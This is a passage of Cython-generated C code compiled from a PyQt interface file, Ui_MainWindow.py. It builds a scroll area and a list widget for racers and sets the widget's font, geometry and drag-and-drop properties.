self.scrollAreaWidgetContents.setObjectName("scrollAreaWidgetContents") * self.L_racerlist = QtWidgets.QListWidget(self.scrollAreaWidgetContents) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_scrollAreaWidgetContents); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QRect); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__21, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":39 * self.scrollAreaWidgetContents = QtWidgets.QWidget() * self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 259, 529)) * self.scrollAreaWidgetContents.setObjectName("scrollAreaWidgetContents") # <<<<<<<<<<<<<< * self.L_racerlist = QtWidgets.QListWidget(self.scrollAreaWidgetContents) * self.L_racerlist.setGeometry(QtCore.QRect(0, 0, 256, 491)) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_scrollAreaWidgetContents); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__22, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":40 * self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 259, 529)) * self.scrollAreaWidgetContents.setObjectName("scrollAreaWidgetContents") * self.L_racerlist = QtWidgets.QListWidget(self.scrollAreaWidgetContents) # <<<<<<<<<<<<<< * self.L_racerlist.setGeometry(QtCore.QRect(0, 0, 256, 491)) * font = QtGui.QFont() */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QListWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_scrollAreaWidgetContents); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist, __pyx_t_1) < 0) __PYX_ERR(0, 40, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":41 * self.scrollAreaWidgetContents.setObjectName("scrollAreaWidgetContents") * self.L_racerlist = QtWidgets.QListWidget(self.scrollAreaWidgetContents) * self.L_racerlist.setGeometry(QtCore.QRect(0, 0, 256, 491)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setFamily("Bitstream Charter") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QRect); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__23, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 41, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":42 * self.L_racerlist = QtWidgets.QListWidget(self.scrollAreaWidgetContents) * self.L_racerlist.setGeometry(QtCore.QRect(0, 0, 256, 491)) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setFamily("Bitstream Charter") * font.setPointSize(10) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFont); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 42, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_font = __pyx_t_1; __pyx_t_1 = 0; /* "Ui_MainWindow.py":43 * self.L_racerlist.setGeometry(QtCore.QRect(0, 0, 256, 491)) * font = QtGui.QFont() * font.setFamily("Bitstream Charter") # <<<<<<<<<<<<<< * font.setPointSize(10) * font.setBold(False) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setFamily); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__24, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_MainWindow.py":44 * font = QtGui.QFont() * font.setFamily("Bitstream Charter") * font.setPointSize(10) # <<<<<<<<<<<<<< * font.setBold(False) * font.setItalic(False) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setPointSize); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__25, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":45 * font.setFamily("Bitstream Charter") * font.setPointSize(10) * font.setBold(False) # <<<<<<<<<<<<<< * font.setItalic(False) * font.setWeight(50) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setBold); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__26, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_MainWindow.py":46 * font.setPointSize(10) * font.setBold(False) * font.setItalic(False) # <<<<<<<<<<<<<< * font.setWeight(50) * font.setKerning(False) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setItalic); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__27, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 46, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":47 * font.setBold(False) * font.setItalic(False) * font.setWeight(50) # <<<<<<<<<<<<<< * font.setKerning(False) * self.L_racerlist.setFont(font) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setWeight); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__28, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_MainWindow.py":48 * font.setItalic(False) * font.setWeight(50) * font.setKerning(False) # <<<<<<<<<<<<<< * self.L_racerlist.setFont(font) * self.L_racerlist.setMouseTracking(True) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setKerning); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__29, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":49 * font.setWeight(50) * font.setKerning(False) * self.L_racerlist.setFont(font) # <<<<<<<<<<<<<< * self.L_racerlist.setMouseTracking(True) * self.L_racerlist.setAcceptDrops(True) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setFont); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_v_font); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_font}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_font}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_font); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":50 * font.setKerning(False) * self.L_racerlist.setFont(font) * self.L_racerlist.setMouseTracking(True) # <<<<<<<<<<<<<< * self.L_racerlist.setAcceptDrops(True) * self.L_racerlist.setStyleSheet("font: 10pt \"Bitstream Charter\";") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__30, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":51 * self.L_racerlist.setFont(font) * self.L_racerlist.setMouseTracking(True) * self.L_racerlist.setAcceptDrops(True) # <<<<<<<<<<<<<< * self.L_racerlist.setStyleSheet("font: 10pt \"Bitstream Charter\";") * self.L_racerlist.setInputMethodHints(QtCore.Qt.ImhPreferLatin) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setAcceptDrops); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__31, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":52 * self.L_racerlist.setMouseTracking(True) * self.L_racerlist.setAcceptDrops(True) * self.L_racerlist.setStyleSheet("font: 10pt \"Bitstream Charter\";") # <<<<<<<<<<<<<< * self.L_racerlist.setInputMethodHints(QtCore.Qt.ImhPreferLatin) * self.L_racerlist.setDefaultDropAction(QtCore.Qt.CopyAction) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setStyleSheet); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__32, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":53 * self.L_racerlist.setAcceptDrops(True) * self.L_racerlist.setStyleSheet("font: 10pt \"Bitstream Charter\";") * self.L_racerlist.setInputMethodHints(QtCore.Qt.ImhPreferLatin) # <<<<<<<<<<<<<< * self.L_racerlist.setDefaultDropAction(QtCore.Qt.CopyAction) * self.L_racerlist.setProperty("isWrapping", False) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_Qt); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_ImhPreferLatin); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); 